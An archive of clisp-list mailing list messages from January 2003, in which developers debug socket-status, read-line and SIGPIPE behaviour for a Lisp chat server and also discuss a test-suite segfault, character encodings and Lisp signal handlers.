> * Sent on Thu, 16 Jan 2003 03:44:43 +0100
> * Honorable Michael Koehne <kraehe@copyleft.de> writes:
>
>   The code fails with related problems.
> 
>   - There is a race condition, if the client closed its connection
>     during 'tick' (asuming that tick may take longer) between the
>     :input and :output socket-status querys. In this case, the
>     following socket-status will result in :output (and not :error
>     as expected), but a write-line will trigger a SIG_PIPE.

this is why most communications are done using a fixed protocol.
i.e., you close a connection only after declaring an intent to do so.
(TCP/IP gurus are welcome to refute this!)

> (defun mucl-stream-loop (socks stats) "loop over socket status"
>   (unless (mucl-hash mucl-running)
>     (setf (mucl-hash mucl-running)
> 	  (cons
> 	   (cons (mucl-sock mucl-running) mucl-running)
> 	   (mapcar #'(lambda (s)
> 		       (cons (mucl-sock s) s))
> 		   (mucl-peer mucl-running)) )))
>   (loop
>    (unless (car socks) (return))

you mean (unless socks) here!

>    (let ((csock (car socks))
> 	 (cstat (car stats))
> 	 cstream)
>      (when (listp csock) (setq csock (car csock)))
>      (setq cstream (cdr (assoc csock (mucl-hash mucl-running))))
>      (format t "MUCL check ~A stat ~A~%" csock cstat)
>      (if cstream
> 	 (case cstat
> 	   ((t :input) (mucl-input cstream))
> 	   (:output (mucl-output cstream))
> 	   (:error (mucl-error cstream))
> 	   (otherwise (when cstat
> 			(format t "MUCL error ~A stat ~A~%" csock cstat)
> 			(mucl-error cstream))))
> 	(format t "MUCL error no object ~A stat ~A hash ~A"
> 		csock cstat (mucl-hash mucl-running)) ))
>    (unless (cdr socks) (return))
>    (setq stats (cdr stats))
>    (setq socks (cdr socks)) ))

what you want is probably

        (loop :for sock :in socks :for stat :in stats :do
          ...)

I really hope our resident network gurus will provide more information!

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On 17 Jan 2003, Sam Steingold wrote:

> (t) does not call FUNCALL but will report this error.

This calls for Lisp humor:

  ;;; cond bug smoother for dummies

  (defun t (&rest oops)
    (cond
      ((null oops) t)
      ((t (first (last oops))))))

My original version was

  (defun t (&rest oops) 
    (first (last (cons t oops))))

but the lengthier formulation contains the all-important element of
irony.

Binding a function to t is probably like so not-ANSI-conforming, dudes.
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Moin Sam Steingold,

> this is why most communications are done using a fixed protocol.
> i.e., you close a connection only after declaring an intent to do so.
> (TCP/IP gurus are welcome to refute this!)

  well - as the mucl-date suggests, by running to fast at factor 60,
  the code should become the chat part of a multi-user-dungeon. Users
  in those telnet (like) games may drop the connection either by
  crashing their user client (some many of them are lisp based ;-) 
  or just but stop playing - and rebooting their Windoof.
  
  From a Perl point of view: ignore sigpipe, but provide error
  conditions for read-line, write-line and socket-status.

> what you want is probably
>         (loop :for sock :in socks :for stat :in stats :do
>           ...)

  *hm* i did'nt realise that its possible to run more than one list
  in a loop - this comes handy.

> I really hope our resident network gurus will provide more information!

  oups - i asumed that YOU are the network guru, from the view at
  port/net.lisp ;-)

  the problems with my code:
  - how to detect :eof with read-line (smells like a clisp 2.30 bug)
  - how to ignore (or catch) sig_pipe
  - how to improve socket-status to detect dead sockets.
  portability/reliabilty:
  - gcl does not provide something like socket-status (unix select call)
  - clisp does not have a system-write and system-read
  - cmu is totaly different

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> * In message <20030118001130.GA8741@bakunin.copyleft.de>
> * On the subject of "Re: [clisp-list] read-line (clisp 2.30/woody)"
> * Sent on Sat, 18 Jan 2003 01:11:30 +0100
> * Honorable Michael Koehne <kraehe@copyleft.de> writes:
>
>   well - as the mucl-date suggests, by running to fast at factor 60,
>   the code should become the chat part of a multi-user-dungeon. Users
>   in those telnet (like) games may drop the connection either by
>   crashing their user client (some many of them are lisp based ;-) or
>   just but stop playing - and rebooting their Windoof.

in clisp:
> (setq o (socket-server 12345))

in bash:
$ telnet 15:14:06 sds@loiso:/usr/local/src/gcl/ansi-tests [56]$ telnet localhost 12345
Trying 127.0.0.1...
Connected to loiso (127.0.0.1).
Escape character is '^]'.
3456
^]

telnet> Connection closed.
$

back to clisp:

> (setq o (socket-accept s))
#<IO UNBUFFERED SOCKET-STREAM CHARACTER 0.0.0.0:12345>
> (read-line o nil :EOF)
"3456" ;
NIL
> (read-line o nil :EOF)
:EOF ;
T

no SIGPIPE.

>   the problems with my code:
>   - how to detect :eof with read-line (smells like a clisp 2.30 bug)

(READ-LINE stream NIL :EOF)

>   - how to ignore (or catch) sig_pipe

you should not get it (I think!)

>   - how to improve socket-status to detect dead sockets.

what is a dead socket? the one for which SOCKET-STATUS returns :ERROR?

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Date: Sat Jan 18 06:34:03 2003
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Moin Sam Steingold,

  lets investigate the problem a bit:

    [1]> (setq s (socket-server 12345))
    #<SOCKET-SERVER 0.0.0.0:12345>
    [2]> (setq o (socket-accept s))
    #<IO UNBUFFERED SOCKET-STREAM CHARACTER 0.0.0.0:12345>
    [3]> (read-line o nil :EOF)
    "asf" ;
    NIL
    [4]> (read-line o nil :EOF)
    :EOF ;
    T
    [5]> 

  this looks fine - but using a similar read-line in my program, does not
  detect :EOF. So lets investigate - by reducing my program to a minimal
  skeleton showing the situation :

    (progn
      (format t "waiting for connect~%")
      (setq serv (socket-server 5555))
      (setq sock (socket-accept serv))
      (format t "waiting for input~%")
      (dotimes (n 50)
        (setq stat (socket-status (list serv (cons sock :input)) 0 500000))
        (format t "Status ~A~%" stat)
        (when (eq (cadr stat) :INPUT)
          (multiple-value-bind (line flag) (read-line sock nil :EOF)
            (format t "Line: (~A) Flag:(~A)~%" line flag))))) 

  This will show the following missbehavior :

  - first line a client send looks ok

        Status (NIL INPUT)
        Line: (asdr aser) Flag:(NIL)
        Status (NIL NIL)

  - two :input events will be raised by socket-status the following
    times a telnet client types a line

        Status (NIL INPUT)
        Line: () Flag:(NIL)
        Status (NIL INPUT)
        Line: (ase 23) Flag:(NIL)
        Status (NIL NIL)

  - only one :input event will be raised, if the client closes the
    connections showing :

        Status (NIL INPUT)
        Line: () Flag:(NIL)
        Status (NIL NIL)

  - the following socket-status will return immediate ignoring timeout,
    because one of the sockets is dead. No :input or :error events are
    raised. The loop is running wild at 100% CPU load with:

        Status (NIL NIL)

  - One can call read-line by hand afterwards, to see, that the socket
    is at end-of-file :

      (multiple-value-bind (line flag) (read-line sock nil :EOF)
        (format t "Line: (~A) Flag:(~A)~%" line flag))

        Line: (EOF) Flag:(T)

  the questions now:

  where do the empty read-line's come from ? One idea could be that
  telnet is sending <CR><LF> - but the following progn does NOT show
  the named missbehavior - so its a side effect between socket-status
  and read-line, as the call of socket-status is the main difference
  between them.

    (progn
      (format t "waiting for connect~%")
      (setq serv (socket-server 5555))
      (setq sock (socket-accept serv))
      (format t "waiting for input~%")
      (loop
       (multiple-value-bind (line flag) (read-line sock nil :EOF)
         (format t "Line: (~A) Flag:(~A)~%" line flag)
         (when flag (return)) )))

> >   - how to ignore (or catch) sig_pipe
> you should not get it (I think!)

  as told - the user will use some MUD client - they could always close
  quit or crash. So SIG_PIPE will be a common situation. The Perl way,
  would be to ignore SIG_PIPE, as the signal could interrupe any !LATER!
  system call. The EOF detection and :error condition on socket-status
  should be enough to sort those clients out and to close them !WITHOUT!
  lingering on the socket.

> what is a dead socket? the one for which SOCKET-STATUS returns :ERROR?

  a dead socket is one, where socket-status should return :error, but
  not yet does ;-(

  a dead socket is a file descriptor, that is already closed from
  the other side. This will cause the select system call to return
  failing immediate ignoring timeout, iirc. I'll try to compare some
  MUD c-code to socket-status in streams.d ;-)

Bye Michael
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> * In message <20030118143545.GA10404@bakunin.copyleft.de>
> * On the subject of "Re: read-line (clisp 2.30/woody)"
> * Sent on Sat, 18 Jan 2003 15:35:45 +0100
> * Honorable Michael Koehne <kraehe@copyleft.de> writes:
>
>   this looks fine - but using a similar read-line in my program, does
>   not detect :EOF.

Are you should you read the meaning of the second return value of
READ-LINE carefully?
it is non-nil only when the last line was not NL-terminated.

>     The loop is running wild at 100% CPU load with:
>         Status (NIL NIL)

I do not observe this on linux with the the latest CVS head.

> > >   - how to ignore (or catch) sig_pipe
> > you should not get it (I think!)
> 
>   as told - the user will use some MUD client - they could always
>   close quit or crash. So SIG_PIPE will be a common situation.

CLISP catches it.  you, the CLISP user, should not see it.

I must admit I am still not clear on what is your problem.
Sorry.

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Moin Sam Steingold,

> I do not observe this on linux with the the latest CVS head.

  i took that as a hint to try current CVS - source forge is under
  full load at saturday. So download took much longer than expected.

  'make' worked fine, but 'make check' failed with :

EQUAL-OK: "edcba"
(NREVERSE X) 
EQUAL-OK: "edcba"
X 
EQUAL-OK: "edcba"
(LET* ((X (MAKE-ARRAY 10 :FILL-POINTER 4 :ELEMENT-TYPE 'CHARACTER :INITIAL-ELEMENT #\Space :ADJUSTABLE T)) (Y (MAKE-ARRAY 10 :FILL-POINTER 4 :ELEMENT-TYPE 'CHARACTER :DISPLACED-TO X))) (ADJUST-ARRAY X '(5)) (CHAR Y 5)) 
EQL-OK: ERROR
(LET ((S (MAKE-ARRAY 10 :ELEMENT-TYPE 'CHARACTER :INITIAL-ELEMENT #\a)))
(LIST (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)) (PROGN (SETF (AREF S 3) (CODE-CHAR 12345)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)))
(PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (SETF (AREF S 3) (CODE-CHAR 123456)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)))))
make[1]: *** [tests] Segmentation fault
make[1]: Leaving directory
`/bakunin/home/kraehe/AIlang/clisp-cvs/clisp/src/suite'
make: *** [testsuite] Error 2

  my environment: Debian/GNU/Linux (woody) DualPPro 250 / 128mb RAM.
  additional hints:

bakunin:~/AIlang/clisp-cvs/clisp/src $ uname -a
Linux bakunin.copyleft.de 2.4.18 #2 SMP Wed Oct 30 02:01:27 CET 2002 i686 unknown
bakunin:~/AIlang/clisp-cvs/clisp/src $ ulimit -a
core file size        (blocks, -c) 0
data seg size         (kbytes, -d) 98304
file size             (blocks, -f) unlimited
max locked memory     (kbytes, -l) 98304
max memory size       (kbytes, -m) 98304
open files                    (-n) 1024
pipe size          (512 bytes, -p) 8
stack size            (kbytes, -s) 8192
cpu time             (seconds, -t) unlimited
max user processes            (-u) 1024
virtual memory        (kbytes, -v) 98304
bakunin:~/AIlang/clisp-cvs/clisp/src $ ldd ./clisp
        libc.so.6 => /lib/libc.so.6 (0x4001b000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
bakunin:~/AIlang/clisp-cvs/clisp/src $ l /lib/libc.so.6 /lib/ld-linux.so.2
lrwxrwxrwx   11 Oct 16 13:22 /lib/ld-linux.so.2 -> ld-2.2.5.so
lrwxrwxrwx   13 Oct 16 13:22 /lib/libc.so.6 -> libc-2.2.5.so
bakunin:~/AIlang/clisp-cvs/clisp/src $ gzip < config.lisp > config.lisp.gz
bakunin:~/AIlang/clisp-cvs/clisp/src $ uuencode config.lisp.gz <config.lisp.gz
begin 664 config.lisp.gz
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bakunin:~/AIlang/clisp-cvs/clisp/src $ ulimit -c unlimited
bakunin:~/AIlang/clisp-cvs/clisp/src $ make check
[ several lines deleted ]
bakunin:~/AIlang/clisp-cvs/clisp/src $ gdb ./lisp.run ./suite/core
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libncurses.so.5...done.
Loaded symbols for /lib/libncurses.so.5
Reading symbols from /lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /usr/lib/gconv/UTF-16.so...done.
Loaded symbols for /usr/lib/gconv/UTF-16.so
#0  0x0804ae23 in gc_mark ()
Breakpoint 1 at 0x8059dc8
Breakpoint 2 at 0x8058928
Breakpoint 3 at 0x8056d10
Breakpoint 4 at 0x804c67c
Breakpoint 5 at 0x804dfac
Breakpoint 6 at 0x804a9b0
Breakpoint 7 at 0x804aa14
Hardware watchpoint 8: {<data variable, no debug info>} 135720996
Num Type           Disp Enb Address    What
1   breakpoint     keep n   0x08059dc8 <funcall>
        zout fun
2   breakpoint     keep n   0x08058928 <apply>
        zout fun
3   breakpoint     keep n   0x08056d10 <eval>
        zout form
4   breakpoint     keep n   0x0804c67c <gar_col>
5   breakpoint     keep y   0x0804dfac <fehler_notreached>
6   breakpoint     keep y   0x0804a9b0 <SP_ueber>
7   breakpoint     keep y   0x0804aa14 <STACK_ueber>
8   hw watchpoint  keep n              
    {<data variable, no debug info>} 135720996
        p back_trace_out(0,0)
        continue
.gdbinit:88: Error in sourced command file:
Function "sigsegv_handler_failed" not defined.
(gdb) bt
#0  0x0804ae23 in gc_mark ()
#1  0x4017a378 in ?? ()
#2  0x0804c670 in do_gar_col ()
#3  0x0804c693 in gar_col ()
#4  0x68011c0b in ?? ()
#5  0x011d0300 in ?? ()
Cannot access memory at address 0x407e8
(gdb)

  i hope this helps.

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> * In message <20030118193358.GA25935@bakunin.copyleft.de>
> * On the subject of "Re: Segmentation fault"
> * Sent on Sat, 18 Jan 2003 20:33:58 +0100
> * Honorable Michael Koehne <kraehe@copyleft.de> writes:
>
> > I do not observe this on linux with the the latest CVS head.
> 
>   i took that as a hint to try current CVS - source forge is under
>   full load at saturday. So download took much longer than expected.

I know of this crash. it should not affect your case.

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Moin Sam Steingold,

> Are you should you read the meaning of the second return value of
> READ-LINE carefully?
> it is non-nil only when the last line was not NL-terminated.

  after sleeping a night i realised that calling read-line in combination
  with socket-status is like using stdio with select(). So I think I need
  some low level (system-read stream array) and (system-write stream array)
  both returning an integer. I'll next read into ffi.

  Still read-line behaves funny, if called after socket-status. Except
  the first line, each line of telnet input will generate two :INPUT
  events on socket-status. The first one with "";NIL on read-line, the
  second one as "typed string";NIL. When the client closes its connection
  an :INPUT event will cause a read of "";NIL but there will never be
  a last :INPUT event. Instead socket-status will ignore its timeout.
  If calling read-line on the socket :EOF;t would be given, but this
  readline will be never called.

      (format t "waiting for connect")
      (setq serv (socket-server 5555))
      (setq sock (socket-accept serv))
      (format t "waiting for input")
      (dotimes (n 50)
        (setq stat (socket-status (list serv (cons sock :input)) 0 500000))
        (format t "Status ~A~%" stat)
        (when (eq (cadr stat) :INPUT)
          (multiple-value-bind (line flag) (read-line sock nil :EOF)
            (format t "Line: (~A) Flag:(~A)~%" line flag))))

  The question (beside that calling read-line in context of
  socket-status is a way to shoot oneself in the foot) is:
  
  where does the additional "";NIL results come from ?

> I do not observe this on linux with the the latest CVS head.

  The current CVS did not make a difference to plain 2.30 here.
  Btw: whats the best way to execute some clisp, that i dont want to
  install, because it crashes on regression test ?

> I must admit I am still not clear on what is your problem.

  have you tried the above code - is there some additional input ?
  at my site the above code clearly shows the situation.

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Hi,

>>   as told - the user will use some MUD client - they could always
>>   close quit or crash. So SIG_PIPE will be a common situation.
>CLISP catches it.  you, the CLISP user, should not see it.

Maybe Michael did not tell us everything about his exact setup. While I can't image why SIGPIPE would have anything to do with socket communications, it could be his particular environment which generates SIGPIPE in addition to closing sockets.

E.g. mod_fastCGI does exactly this for Apache:
"If an http client aborts a request before it completes, mod_fastcgi does too - this results in a SIGPIPE to the FastCGI application. At a minimum, SIGPIPE should be ignored (applications spawned by mod_fastcgi have this setup automatically). Ideally, it should result in an early abort of the request handling within your application and a return to the top of the FastCGI accept() loop."
http://www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html

Note that mod_cgi can talk to the spawned application using either pipes or sockets. SIGPIPE can be issued by mod_fastcgi in both cases (assuming that despite using sockets, the application is running on the local machine).

Regards,
	Jorg Hohle.


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Joerg-Cyril,

At 00:52 2003-01-20, Hoehle, Joerg-Cyril wrote:
>Hi,
>
> >>   as told - the user will use some MUD client - they could always
> >>   close quit or crash. So SIG_PIPE will be a common situation.
> >CLISP catches it.  you, the CLISP user, should not see it.
>
>Maybe Michael did not tell us everything about his exact setup. While I 
>can't image why SIGPIPE would have anything to do with socket 
>communications, it could be his particular environment which generates 
>SIGPIPE in addition to closing sockets.

Unix systems do generate SIGPIPE when attempting to write to a socket that 
has been shut down in the outgoing direction. I don't know about Windows 
but I'd expect (without assuming) that Cygwin does the same.

In an ordinary command-line pipeline setting, the shell does not report 
SIGPIPE since they occur whenever a down-stream application in a pipeline 
quits without processing all its input. A common example is using a page 
such as "more" or "less" and typing the 'q' command before all the input 
has been displayed. Because SIGPIPE is "normal", the shell doesn't report 
it and many people don't know how common its occurrence really is.


>E.g. mod_fastCGI does exactly this for Apache:
>"If an http client aborts a request before it completes, mod_fastcgi does 
>too - this results in a SIGPIPE to the FastCGI application. At a minimum, 
>SIGPIPE should be ignored (applications spawned by mod_fastcgi have this 
>setup automatically). Ideally, it should result in an early abort of the 
>request handling within your application and a return to the top of the 
>FastCGI accept() loop."
>http://www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html
>
>Note that mod_cgi can talk to the spawned application using either pipes 
>or sockets. SIGPIPE can be issued by mod_fastcgi in both cases (assuming 
>that despite using sockets, the application is running on the local machine).
>
>Regards,
>     Jorg Hohle.


Randall Schulz 



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Hi,

I tried out Michael's example code. It appears that the symptom come from CRLF or CR occurring in the stream. Whether this is acceptable behaviour I shall not comment upon now. What's observable is that users have been hit by READ-LINE several times already in the past.

E.g. type blabla CTRL-J blob CTRL-J -> everything is fine
Use CRLF (e.g. add CTRL-M) or solely CR as line terminator and I start observing those empty lines

Status (NIL INPUT)
Line: () Flag:(NIL)
Status (NIL INPUT)
Line: (oihdjui) Flag:(NIL)
Status (NIL NIL)

The strange empty line is returned as soon as I start entering the next input (long after the CTRL-M terminating the previous line).

BTW, here's a small bug:
(describe sock)
#<IO UNBUFFERED SOCKET-STREAM CHARACTER 0.0.0.0:5555> is an 
input/output-stream.waiting for input
            dot    ^ here    but not ^there

BTW, in my setup, when I close the MS-Windows goofy telnet window, I don't see any errors reported in the status line, but the loop immediately runs to completion (apparently socket-status returns without waiting).

>   - but the following progn does NOT show
>  the named missbehavior - so its a side effect between socket-status
>  and read-line, as the call of socket-status is the main difference
>  between them.
[read-line in a loop, without socket-status]
Indeed, the difference in behaviour sounds unnormal. Maybe the internal state engine about CR and/or LF line-termination detection is broken?

Regards,
	Jorg Hohle.


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Hi, I am getting this error when I try to print any of a few macrons to 
the standard output in clisp:

*** - Character #\u00EF cannot be represented in the character set 
CHARSET:ASCI

I have already found a solution to the equivalent input error, which was 
occurring while reading input from a file, i.e.

invalid byte #xE4 in CHARSET:ASCII conversion

The solution here was to put this line into my init file:

#+unicode (setf custom:*default-file-encoding*
                 (ext:make-encoding :charset "ISO-8859-1" 
:line-terminator :unix))

What is the equivalent *default-whatever-encodint* that corresponds to 
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Thanks.
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Moin Joerg-Cyril Hoehle, 

> I tried out Michael's example code. It appears that the symptom come
> from CRLF or CR occurring in the stream.

  *hm* nice that someone else managed to reproduce the situation.

> Indeed, the difference in behaviour sounds unnormal. Maybe the internal
  state engine about CR and/or LF line-termination detection is broken?

  well something with read-line or read-sequence semantics would never
  work reliable together with the select() system call. A code calling
  socket-status and read-line is broken by design, even if the side
  effect between socket-status and read-line is solved. A ready for
  reading condition on select() system call means that one can do
  !exactly one! read() system call afterwards. Now read-line wants
  a line, so read-line will block, if there is no <CR><LF> in the
  first packet.
  
  I think I need two low level lisp functions :
  
        (unix-read array &optional stream) => count; errno
        (unix-write array &optional stream) => count; errno

  The main difference between this unix-read and read-sequence is
  that read-sequence will block to fill the array, unless :eof,
  while the unix read() system call only returns those bytes that
  are already there.
  
CLHS:
  Position is the index of the first element of sequence that was not          
  updated, which might be less than end because the end of file was
  reached.   
man 2 read
  It is not an  error  if  this  number  is smaller  than the number
  of bytes requested; this may happen for example because fewer bytes
  are actually available right now.

  The unix-write has to provide writing for such low level sockets.
  SIGPIPE should be ignored before the write() system call, so EPIPE
  could be used as a normal error conditions. Its a question, if count
  should become NIL or stay -1 on error conditions.

  Btw: My idea is chat server, where people can connect via normal
  telnet or special mud clients. So unix-read and unix-write must
  think in bytes semantics, as the server has to implement IAC
  options of telnet protocol.

  I tried read-sequence similar using read() and select(), but using
  read-sequence with an array of size 4096 instead of read-line will
  block. But an array size of one should work - i thought ;-(

(progn
  (format t "waiting for connect")
  (setq serv (socket-server 5555))
  (setq sock (socket-accept serv))
  (setq buff (make-array 1))
; (setq buff (make-array 1 :element-type '(integer 0 255)))
  (format t "waiting for input")
  (dotimes (n 1000)
    (setq stat (socket-status (list serv (cons sock :input)) 0 500000))
    (format t "Status ~A~%" stat)
    (when (eq (cadr stat) :INPUT)
      (setq flag (read-sequence buff sock))
      (format t "Line: (~A) Flag:(~A)~%" buff flag)
      )
    )
  )

  Constraining the array to bytes (i dont want any c-function to
  interprete the stream - i have to talk IAC telnet options - without
  any translations) did'nt work :

*** - SYSTEM::STORE: #\a does not fit into #(0), bad type

  not constraining the array type will reveal the followin missfortune.

  the first 'asdfg<enter>' :

    Status (NIL NIL)
    Status (NIL INPUT)
    Line: (#(a)) Flag:(1)
    Status (NIL INPUT)
    Line: (#(s)) Flag:(1)
    Status (NIL INPUT)
    Line: (#(d)) Flag:(1)
    Status (NIL INPUT)
    Line: (#(f)) Flag:(1)
    Status (NIL INPUT)
    Line: (#(g)) Flag:(1)
    Status (NIL INPUT)
    Line: (#()) Flag:(1)                    < perhaps CR - where is LF ?
    Status (NIL NIL)

  the first 'asdfg<enter>' :

    Status (NIL NIL)
    Status (NIL INPUT)
    Line: (#()) Flag:(1)                    < what happens here ? LF buffered ?
    Status (NIL INPUT)
    Line: (#(a)) Flag:(1)
    Status (NIL INPUT)
    Line: (#(s)) Flag:(1)
    Status (NIL INPUT)
    Line: (#(d)) Flag:(1)
    Status (NIL INPUT)
    Line: (#(f)) Flag:(1)
    Status (NIL INPUT)
    Line: (#(g)) Flag:(1)
    Status (NIL INPUT)
    Line: (#()) Flag:(1)                    < perhaps CR - where is LF ?
    Status (NIL NIL)

  user types control-]close in telnet

    Status (NIL NIL)
    Status (NIL INPUT)
    Line: (#()) Flag:(1)                    < this should be #(), 0
                                              or its the buffered LF,
                                              but I'm missing eof
                                              condition here
    Status (NIL NIL)
    Status (NIL NIL)                        < nearly 1000 times
                                              as usual socket-server is
                                              running wild, because of a
                                              dead socket.

  so i cant distinct between <CR> and <LF> as both are mapped #()
  and i still dont have a way to catch the :eof condition.

Bye Michael
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sathyan kuppuswamy wrote:
> Please let me know if anyone has instructions for installing CLisp on a 
> Windows 2000 machine.
> Thanks

i am using clisp on win2k. there is absolutely no problem in installing 
clisp on a windows machine. just download the binary distribution, 
unpack it and start the executable.

in addition i would recommend to use gnu emacs (which is available also 
as a binary distribution for windows) and ilisp. this gives you a good 
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Nick Wright wrote:
>invalid byte #xE4 in CHARSET:ASCII conversion
>The solution here was to put this line into my init file:
>#+unicode (setf custom:*default-file-encoding*
>                 (ext:make-encoding :charset "ISO-8859-1" 
>:line-terminator :unix))
>
>What is the equivalent *default-whatever-encodint* that corresponds to 
>the standard output?

Given that you already knew about custom:*default-*-encoding*, it might have been trivial to search for it in the impnotes text to find all the other references next to it. Please look up ext:make-encoding.

Sam Steingold uses to respond:
<http://www.gnu.org/software/clisp/faq.html#enc-err>
>FAQ already contains this information in the form of references to the
>relevant parts of the manual and the impnotes.

and, more recently:
>I want $20 for each question that I answer with a URL pointing to the
>CLISP documentation :-)
>On the second thought, if the pointer is to the FAQ, I want $50. :-)

Do you believe that the answer there is not precise enough and should mention something else?

Regards,
	Jorg Hohle.


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Michael,

I came to exactly the same conclusions!

>   A code calling
>  socket-status and read-line is broken by design,
Yes, since read-line will block until the line completes.


>  I think I need two low level lisp functions :
>        (unix-read array &optional stream) => count; errno
>        (unix-write array &optional stream) => count; errno

We had a thread here about READ-SOME-BYTES some time ago. I didn't implement it back then because it's a nightmare, as the code would run across half a dozen files (stream.d for top-level, socket.d, unixaux.d, winaux.d etc.).

That doesn't mean it's not useful.

Thinking more on this as time passes by, I came to the conclusion that READ-SOME-SEQUENCE or READ-SOME-CHARACTERS (as suggested back then) are broken by design. There's nothing like partial reads when given multibyte characters (or CRLF markers or 2- or 4-byte integers).
Such a partial result only makes sense for the smallest entity: (unsigned-byte 8). From there, one could obtain characters using EXT:convert-from-bytes - which needs to be extended to return how much of the input could be converted.
My feeling is that CLISP ought to implement simple streams natively. Simple streams seem to solve such problems and has this nice layering of low-level byte streams and upper-level character or integer streams. Simple streams at least has shown evidence that it works in Allegro and CMUCL, so it cannot be that broken. But rewriting stream.d (again) is a major undertaking.

I'll look into providing a READ-SOME-BYTES hack that would only work on sockets (possibly pipes), and not bother at all about integration with the rest of stream.d. At least the function would be there, and possibly integrated at a later time, should simple streams eventually get there.


Some further comments:

>  Its a question, if count
>  should become NIL or stay -1 on error conditions.
Iik, please stay away from broken C "magic values" when doing Lisp! We have multiple values, closures, signaling and error handling.

>  block. But an array size of one should work - i thought ;-(
Of course not. CLISP will fill it up, like a longer one.

>    Line: (#(g)) Flag:(1)
>    Status (NIL INPUT)
>    Line: (#()) Flag:(1)                    < perhaps CR - 
>where is LF ?
>    Status (NIL NIL)
It's not that good an idea to write out a string using (format t "~A" #) when you expect to look at non-printable characters.

>  so i cant distinct between <CR> and <LF> as both are mapped #()
>  and i still dont have a way to catch the :eof condition.

READ-LINE will not let you distinguish them. That's its design. In Lisp, as in C, the line is conceptually terminated by #\newline (resp. \n in C). Whether OS conventions want something else(Mac)/more(DOS) should not matter to the programmer. That is the abstraction.

From all the problems people reported with that in CLISP, I came to the conclusion that this does not work for interactive stuff. At least not in a world where programmers throw out LF-only terminated lines when all specifications (e.g. SMTP, HTTP) clearly specify CRLF and your code tries to "be liberal in what you accept".

READ-SEQUENCE, hmm? Not sure it may help.

Did you consider (ext:make-encoding :charset ... :line-terminator :dos/:unix:mac)? I'm not sure it would make a difference. Probably not in conjunction with :element-type 'character, which will also convert CR/LF int o a single #\newline.
Impnotes clearly states: "The line terminator mode is relevant only for output (writing to a file/pipe/socket). During input, all three kinds of line
terminators are recognized."

Regards,
	Jorg Hohle.


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I found all I needed at "Setting up an IDE with Emacs on Windows"
(http://cl-cookbook.sourceforge.net/windows.html) part of THE great COMMON
LISP COOKBOOK (http://cl-cookbook.sourceforge.net/).

enjoy.


bye.
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I'm playing Cassandra again.

One must currently not install a signal handler written in Lisp into CLISP.=


Reasons are both from i) GC and ii) not all parts of CLISP being reentrant.=


Although Peter Wood demo'ed one in March 2002, a signal handler in Lisp is =
completely unreliable and may crash at any GC or cause other trouble.

[5]> (defun wow (s) (format t "Wow! You zapped me with signal ~R~%" s))
WOW
[6]> (setf (sa-handler oldsigact) #'wow)
#<CLOSURE WOW (S) (DECLARE (SYSTEM::IN-DEFUN WOW)) (BLOCK WOW (FORMAT T "Wo=
w! You zapped me with signal ~R~%" S))>
[7]> (signal-action-install linux:SIGINT oldsigact)
T

;;now Ctrl-C calls #'wow !!
[8]> Wow! You zapped me with signal two
Wow! You zapped me with signal two
Wow! You zapped me with signal two
Wow! You zapped me with signal two


=09GC problems:
- Signal handlers are called between any two processor instructions (when o=
ut of the kernel). Therefore, GC roots hold in registers and not yet pushed=
 onto the STACK would become lost.
- C code cannot cope with GC arbitrarily moving stuff while it's working on=
 Lisp objects.

=09Reentrancy problems:
E.g. foreign.d features foreign_layout() which modifies the variables data_=
size, data_alignment and data_splitable. This is used by FFI::FOREIGN-CALL-=
OUT, each time argument or return types are parsed, but also by FFI:SIZEOF.=

That means that if some code is using these and a signal handlers jumps in =
and modifies them, anything can happen.

set/clr_break_sem_1-7 has been in CLISP for the last 10 years to protect va=
rious non-reentrant or non-interruptible areas (IIRC, Atari and DOS would n=
ot allow to use a directory control block twice during one traversal). Howe=
ver I wouldn't bet on
o whether all non-reentrant places are identified this way
o whether these (seemingly history) break semaphore protected places are st=
ill in good shape.
Their purpose is documented in spvw.d. lispbibl.d would be a better choice.=


lispbibl.d says:
# Break-Semaphores
# As long as a Break-Semaphore is set, the Lisp-Program can not
# be interrupted. Purpose:
# - backup of Consistencies,
# - Non-reentrant Data-Structures (like e.g. DTA_buffer) can not
#   be used recursively.
Signal handlers written in Lisp would be subject to the same limitation.


=09=09Solution path proposals:
A) Bruno Haible proposed running signal handlers in separate threads. We do=
n't have threads right now and I wouldn't hold my breath for them (vapourwa=
re for the last 5 years).

B) I propose delaying them and invoking them in safe places. Typically in t=
he bytecode evaluation loop, where ^C is also checked for. That should be o=
ften enough. That would avoid concern i) (GC).

The invocation of signal handlers cannot be thrown into the places where in=
terruptp() lies, because code must be ready to continue from there, whereas=
 current interruptp() places are IMHO only safe for abort (throwing to a RE=
PL), but not for arbitrary GC inbetween.

Note that the current break_sem[] code already serves to delay SIGINT a lit=
tle bit to ensure data structure consistency (but not reentrancy).

OTOH, if one has threads, signals (in other threads) become trivial. Can th=
is be reason enough not to bother with signals and attempt to direct all ef=
fort into threads?

o Propose an API, e.g. CMUCL's
http://cvs2.cons.org/ftp-area/cmucl/doc/cmu-user/unix.html
system:enable-interrupt signal function

=09=09Open issues:

o Also delay non-Lisp handlers? I'd say yes, in that they could call back i=
nto the FFI and this would be safe. People who don't want them to be delaye=
d (and don'T call back or use Lisp) could still call the original UNIX func=
tion.

o Identify any non-reentrant places in CLISP and make them safe (e.g. forei=
gn.d data_* variables) - somehow. That would also work towards threads.

o interaction with signal handlers that CLISP needs itself, e.g. SIGPIPE(?)=
, SIGSEGV, SIGINT, SIGALRM, SIGWINCH.

Regards,
=09J=F6rg H=F6hle.


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Nick Wright asked:
>#+unicode (setf custom:*default-file-encoding*
>                 (ext:make-encoding :charset "ISO-8859-1" 
>:line-terminator :unix))
>
>What is the equivalent *default-whatever-encodint* that corresponds to 
>the standard output?

